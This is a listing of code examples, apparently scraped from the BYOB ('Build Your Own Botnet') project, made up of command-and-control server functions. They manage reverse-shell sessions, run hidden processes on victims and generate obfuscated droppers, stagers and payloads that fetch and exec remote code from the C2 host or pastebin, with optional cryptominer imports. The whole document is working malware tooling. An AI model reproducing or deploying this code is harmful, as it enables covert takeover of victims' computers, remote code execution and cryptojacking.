Example #1
0
    def kill(self):
        """
        Kill the reverse TCP shell session

        """
        # get session attributes
        owner = self.info['owner']
        session_id = self.info['id']
        session_uid = self.info['uid']

        # get owner sessions
        owner_sessions = self.c2.sessions.get(owner)

        # find this session in owner sessions
        if session_uid in owner_sessions:
            session = owner_sessions[session_uid]

            # set session status as offline in database
            session_dao.update_session_status(session_uid, 0)

            # send kill command to client and shutdown the connection
            try:
                session.send_task({"task": "kill"})
                session.connection.shutdown(socket.SHUT_RDWR)
                session.connection.close()
            except:
                pass

            _ = owner_sessions.pop(session_uid, None)

            util.log('Session {}:{} disconnected'.format(owner, session_uid))
        else:
            util.log('Session {}:{} is already offline.'.format(
                owner, session_uid))
Example #2
0
    def quit(self):
        """
        Quit server and optionally keep clients alive

        """
        # kill http servers hosting packages and modules
        globals()['package_handler'].terminate()
        globals()['module_handler'].terminate()

        # put sessions in passive mode
        for owner, sessions in self.sessions.items():
            for session_id, session in sessions.items():
                if isinstance(session, SessionThread):
                    try:
                        session.send_task({"task": "passive"})
                    except:
                        pass

        # kill subprocesses (subprocess.Popen or multiprocessing.Process)
        for proc in self.child_procs.values():
            try:
                proc.kill()
            except:
                pass
            try:
                proc.terminate()
            except:
                pass

        # forcibly end process
        globals()['__abort'] = True
        _ = os.popen("taskkill /pid {} /f".format(os.getpid()) if os.name ==
                     'nt' else "kill {}".format(os.getpid())).read()
        util.log('Exiting...')
        sys.exit(0)
Example #3
0
    def serve_until_stopped(self):
        print('testing serve')
        while True:

            connection, address = self.socket.accept()

            session = SessionThread(connection=connection, c2=self)
            print(session)
            if session.info != None:

                # database stores identifying information about session
                session_dict = session_dao.handle_session(session.info)
                session.id = session_dict['id']

                # display session information in terminal
                session_dict.pop('new', None)
                session.info = session_dict

                # add session to user sessions dictionary
                owner = session.info.get('owner')
                if owner not in self.sessions:
                    self.sessions[owner] = {}

                self.sessions[owner][session.info.get('uid')] = session

                print('New session {}:{} connected'.format(
                    owner, session.info.get('uid')))

            else:
                util.log("Failed Connection: {}".format(address[0]))

            abort = globals()['__abort']
            if abort:
                break
Example #4
0
 def _execute(self, args):
     # ugly method that should be refactored at some point
     path, args = [
         i.strip() for i in args.split('"') if i if not i.isspace()
     ] if args.count('"') == 2 else [
         i for i in args.partition(' ') if i if not i.isspace()
     ]
     args = [path] + args.split()
     if os.path.isfile(path):
         name = os.path.splitext(os.path.basename(path))[0]
         try:
             info = subprocess.STARTUPINFO()
             info.dwFlags = subprocess.STARTF_USESHOWWINDOW, subprocess.CREATE_NEW_ps_GROUP
             info.wShowWindow = subprocess.SW_HIDE
             self.child_procs[name] = subprocess.Popen(args,
                                                       startupinfo=info)
             return "Running '{}' in a hidden process".format(path)
         except Exception as e:
             try:
                 self.child_procs[name] = subprocess.Popen(
                     args, 0, None, None, subprocess.PIPE, subprocess.PIPE)
                 return "Running '{}' in a new process".format(name)
             except Exception as e:
                 util.log("{} error: {}".format(self._execute.__name__,
                                                str(e)))
     else:
         return "File '{}' not found".format(str(path))
Example #5
0
    def __init__(self, connection=None, id=0):
        """
        Create a new Session

        `Requires`
        :param connection:  socket.socket object

        `Optional`
        :param int id:      session ID

        """
        super(SessionThread, self).__init__()
        self.created = datetime.utcnow()
        self.id = id
        self.connection = connection
        self.key = security.diffiehellman(self.connection)
        try:
            self.info = self.client_info()
            self.info['id'] = self.id
        except Exception as e:
            util.log("Error creating session: {}".format(str(e)))
            self.info = None
Example #6
0
    def recv_task(self):
        """
        Receive and decrypt incoming task from server

        :returns dict task:
          :attr str uid:             task ID assigned by server
          :attr str session:         client ID assigned by server
          :attr str task:            task assigned by server
          :attr str result:          task result completed by client
          :attr datetime issued:     time task was issued by server
          :attr datetime completed:  time task was completed by client

        """

        header_size = struct.calcsize('!L')
        header = self.connection.recv(header_size)
        if len(header) == 4:
            msg_size = struct.unpack('!L', header)[0]
            msg = self.connection.recv(8192)
            try:
                data = security.decrypt_aes(msg, self.key)
                return json.loads(data)
            except Exception as e:
                util.log("{0} error: {1}".format(self.recv_task.__name__,
                                                 str(e)))
                return {
                    "uid": uuid.uuid4().hex,
                    "session": self.info.get('uid'),
                    "task": "",
                    "result": "Error: client returned invalid response",
                    "issued": datetime.utcnow().__str__(),
                    "completed": ""
                }
        else:
            # empty header; peer down, scan or recon. Drop.
            return 0
Example #7
0
    def _setup_server(self):
        # directory containing BYOB modules
        modules = os.path.abspath('buildyourownbotnet/modules')

        # directory containing user intalled Python packages
        site_packages = [
            os.path.abspath(_) for _ in sys.path if os.path.isdir(_)
            if 'mss' in os.listdir(_)
        ]

        if len(site_packages):
            n = 0
            globals()['packages'] = site_packages[0]
            for path in site_packages:
                if n < len(os.listdir(path)):
                    n = len(os.listdir(path))
                    globals()['packages'] = path
        else:
            print(
                "unable to locate directory containing user-installed packages"
            )
            sys.exit(0)

        tmp_file = open(".log", "w")

        # don't run multiple instances
        try:
            # serve packages
            globals()['package_handler'] = subprocess.Popen(
                '{0} -m {1} {2}'.format(sys.executable, http_serv_mod,
                                        self.port + 2),
                0,
                None,
                subprocess.PIPE,
                stdout=tmp_file,
                stderr=tmp_file,
                cwd=globals()['packages'],
                shell=True)
            util.log("Serving Python packages from {0} on port {1}...".format(
                globals()['packages'], self.port + 2))

            # serve modules
            globals()['module_handler'] = subprocess.Popen(
                '{0} -m {1} {2}'.format(sys.executable, http_serv_mod,
                                        self.port + 1),
                0,
                None,
                subprocess.PIPE,
                stdout=tmp_file,
                stderr=tmp_file,
                cwd=modules,
                shell=True)
            util.log("Serving BYOB modules from {0} on port {1}...".format(
                modules, self.port + 1))

            globals()['c2'] = self
            globals()['c2'].start()
        except Exception as e:
            print(
                "server.C2 failed to launch package_handler and module_handler. Exception: "
                + str(e))
def _dropper(options, **kwargs):

    assert 'url' in kwargs, "missing keyword argument 'url'"
    assert 'var' in kwargs, "missing keyword argument 'var'"
    assert 'hidden' in kwargs, "missing keyword argument 'hidden'"

    output_dir = os.path.join('output', options.owner, 'src')

    if not os.path.isdir(output_dir):
        try:
            os.makedirs(output_dir)
        except OSError:
            util.log("Permission denied: unable to make directory './output'")

    # add os/arch info to filename if freezing
    if options.freeze:
        name = 'byob_{operating_system}_{architecture}_{var}.py'.format(
            operating_system=options.operating_system,
            architecture=options.architecture,
            var=kwargs['var']) if not options.name else options.name
    else:
        name = 'byob_{var}.py'.format(var=kwargs['var'])

    if not name.endswith('.py'):
        name += '.py'

    name = os.path.join(output_dir, name)

    dropper = """import sys,zlib,base64,marshal,json,urllib
if sys.version_info[0] > 2:
    from urllib import request
urlopen = urllib.request.urlopen if sys.version_info[0] > 2 else urllib.urlopen
exec(eval(marshal.loads(zlib.decompress(base64.b64decode({})))))""".format(
        repr(
            base64.b64encode(
                zlib.compress(
                    marshal.dumps(
                        "urlopen({}).read()".format(repr(kwargs['url'])),
                        2)))))

    with open(name, 'w') as fp:
        fp.write(dropper)

    util.display('({:,} bytes written to {})'.format(len(dropper), name),
                 style='dim',
                 color='reset')

    # cross-compile executable for the specified os/arch using pyinstaller docker containers
    if options.freeze:
        util.display('\tCompiling executable...\n',
                     color='reset',
                     style='normal',
                     end=' ')
        name = generators.freeze(name,
                                 icon=options.icon,
                                 hidden=kwargs['hidden'],
                                 owner=options.owner,
                                 operating_system=options.operating_system,
                                 architecture=options.architecture)
        util.display('({:,} bytes saved to file: {})\n'.format(
            len(open(name, 'rb').read()), name))
    return name
def _stager(options, **kwargs):
    assert 'url' in kwargs, "missing keyword argument 'url'"
    assert 'key' in kwargs, "missing keyword argument 'key'"
    assert 'var' in kwargs, "missing keyword argument 'var'"

    if options.encrypt:
        stager = open('core/stagers.py', 'r').read() + generators.main(
            'run', url=kwargs['url'], key=kwargs['key'])
    else:
        stager = open('core/stagers.py', 'r').read() + generators.main(
            'run', url=kwargs['url'])

    if not os.path.isdir('modules/stagers'):
        try:
            os.mkdir('modules/stagers')
        except OSError:
            util.log(
                "Permission denied: unable to make directory './modules/stagers/'"
            )

    if options.compress:
        #util.display("\tCompressing stager... ", color='reset', style='normal', end=' ')
        __load__ = threading.Event()
        __spin__ = _spinner(__load__)
        output = generators.compress(stager)
        __load__.set()
        _update(stager, output, task='Compression')
        stager = output

    __load__ = threading.Event()
    __spin__ = _spinner(__load__)

    if options.pastebin:
        assert options.pastebin, "missing argument 'pastebin' required for option 'pastebin'"
        url = util.pastebin(stager, options.pastebin)
    else:
        dirs = [
            'modules/stagers', 'byob/modules/stagers',
            'byob/byob/modules/stagers'
        ]
        dirname = '.'
        for d in dirs:
            if os.path.isdir(d):
                dirname = d

        path = os.path.join(os.path.abspath(dirname), kwargs['var'] + '.py')

        with open(path, 'w') as fp:
            fp.write(stager)

        s = 'http://{}:{}/{}'.format(
            C2_HOST,
            int(C2_PORT) + 1,
            pathname2url(path.replace(os.path.join(os.getcwd(), 'modules'),
                                      '')))
        s = urlparse.urlsplit(s)
        url = urlparse.urlunsplit(
            (s.scheme, s.netloc, os.path.normpath(s.path), s.query,
             s.fragment)).replace('\\', '/')

    __load__.set()
    return url
def _payload(options, **kwargs):
    assert 'var' in kwargs, "missing keyword argument 'var'"
    assert 'modules' in kwargs, "missing keyword argument 'modules'"
    assert 'imports' in kwargs, "missing keyword argument 'imports'"

    loader = open('core/loader.py', 'r').read(
    )  #, generators.loader(host=C2_HOST, port=int(C2_PORT)+2, packages=list(kwargs['hidden']))))

    test_imports = '\n'.join([
        'import ' + i for i in list(kwargs['hidden'])
        if i not in ['StringIO', '_winreg', 'pycryptonight', 'pyrx', 'ctypes']
    ])
    potential_imports = '''
try:
    import pycryptonight
    import pyrx
except ImportError: pass
'''

    modules = '\n'.join(([
        open(module, 'r').read().partition('# main')[2]
        for module in kwargs['modules']
    ] + [
        generators.main(
            'Payload', **{
                "host": C2_HOST,
                "port": C2_PORT,
                "pastebin": options.pastebin if options.pastebin else str(),
                "gui": "1" if options.gui else str(),
                "owner": options.owner
            }) + '_payload.run()'
    ]))
    payload = '\n'.join((loader, test_imports, potential_imports, modules))

    if not os.path.isdir('modules/payloads'):
        try:
            os.mkdir('modules/payloads')
        except OSError:
            util.log(
                "Permission denied: unabled to make directory './modules/payloads/'"
            )

    if options.compress:
        #util.display("\tCompressing payload... ", color='reset', style='normal', end=' ')
        __load__ = threading.Event()
        __spin__ = _spinner(__load__)
        output = generators.compress(payload)
        __load__.set()
        _update(payload, output, task='Compression')
        payload = output

    if options.encrypt:
        assert 'key' in kwargs, "missing keyword argument 'key' required for option 'encrypt'"
        __load__ = threading.Event()
        __spin__ = _spinner(__load__)
        output = security.encrypt_xor(payload, base64.b64decode(kwargs['key']))
        __load__.set()
        _update(payload, output, task='Encryption')
        payload = output

    #util.display("\tUploading payload... ", color='reset', style='normal', end=' ')

    __load__ = threading.Event()
    __spin__ = _spinner(__load__)

    if options.pastebin:
        assert options.pastebin, "missing argument 'pastebin' required for option 'pastebin'"
        url = util.pastebin(payload, options.pastebin)
    else:
        dirs = [
            'modules/payloads', 'byob/modules/payloads',
            'byob/byob/modules/payloads'
        ]
        dirname = '.'
        for d in dirs:
            if os.path.isdir(d):
                dirname = d

        path = os.path.join(os.path.abspath(dirname), kwargs['var'] + '.py')

        with open(path, 'w') as fp:
            fp.write(payload)

        s = 'http://{}:{}/{}'.format(
            C2_HOST,
            int(C2_PORT) + 1,
            pathname2url(path.replace(os.path.join(os.getcwd(), 'modules'),
                                      '')))
        s = urlparse.urlsplit(s)
        url = urlparse.urlunsplit(
            (s.scheme, s.netloc, os.path.normpath(s.path), s.query,
             s.fragment)).replace('\\', '/')

    __load__.set()
    #util.display("(hosting payload at: {})".format(url), color='reset', style='dim')
    return url
Example #11
0
def main():

    parser = argparse.ArgumentParser(
        prog='server.py',
        description="Command & Control Server (Build Your Own Botnet)")

    parser.add_argument('--host',
                        action='store',
                        type=str,
                        default='0.0.0.0',
                        help='server hostname or IP address')

    parser.add_argument('--port',
                        action='store',
                        type=int,
                        default=1337,
                        help='server port number')

    parser.add_argument('--debug',
                        action='store_true',
                        help='Additional logging')

    parser.add_argument(
        '-v',
        '--version',
        action='version',
        version='0.5',
    )

    # directory containing BYOB modules
    modules = os.path.abspath('buildyourownbotnet/modules')

    # directory containing user intalled Python packages
    site_packages = [
        os.path.abspath(_) for _ in sys.path if os.path.isdir(_)
        if 'mss' in os.listdir(_)
    ]

    if len(site_packages):
        n = 0
        globals()['packages'] = site_packages[0]
        for path in site_packages:
            if n < len(os.listdir(path)):
                n = len(os.listdir(path))
                globals()['packages'] = path
    else:
        util.log(
            "unable to locate directory containing user-installed packages")
        sys.exit(0)

    args = [_ for _ in sys.argv if _.startswith('--')]
    options = parser.parse_args(args)
    tmp_file = open(".log", "w")

    # don't run multiple instances
    try:
        # serve packages
        globals()['package_handler'] = subprocess.Popen(
            '{0} -m {1} {2}'.format(sys.executable, http_serv_mod,
                                    options.port + 2),
            0,
            None,
            subprocess.PIPE,
            stdout=tmp_file,
            stderr=tmp_file,
            cwd=globals()['packages'],
            shell=True)
        print("Serving Python packages from {0} on port {1}...".format(
            globals()['packages'], options.port + 2))

        # serve modules
        globals()['module_handler'] = subprocess.Popen('{0} -m {1} {2}'.format(
            sys.executable, http_serv_mod, options.port + 1),
                                                       0,
                                                       None,
                                                       subprocess.PIPE,
                                                       stdout=tmp_file,
                                                       stderr=tmp_file,
                                                       cwd=modules,
                                                       shell=True)
        print("Serving BYOB modules from {0} on port {1}...".format(
            modules, options.port + 1))

        # start c2 server
        globals()['c2'] = C2(host=options.host,
                             port=options.port,
                             debug=options.debug)
        globals()['c2'].start()
    except:
        pass
Example #12
0
http_serv_mod = "SimpleHTTPServer"
if sys.version_info[0] > 2:
    http_serv_mod = "http.server"
    sys.path.append('core')
    sys.path.append('modules')

from buildyourownbotnet import db
from buildyourownbotnet.core import dao, security, util
from buildyourownbotnet.models import Session, Task

# packages
try:
    import cv2
except ImportError:
    util.log("Warning: missing package 'cv2' is required for 'webcam' module.")

try:
    import colorama
    colorama.init()
except ImportError:
    util.log("Warning: missing package 'colorama' is required.")

try:
    raw_input  # Python 2
except NameError:
    raw_input = input  # Python 3

# globals
__threads = {}
__abort = False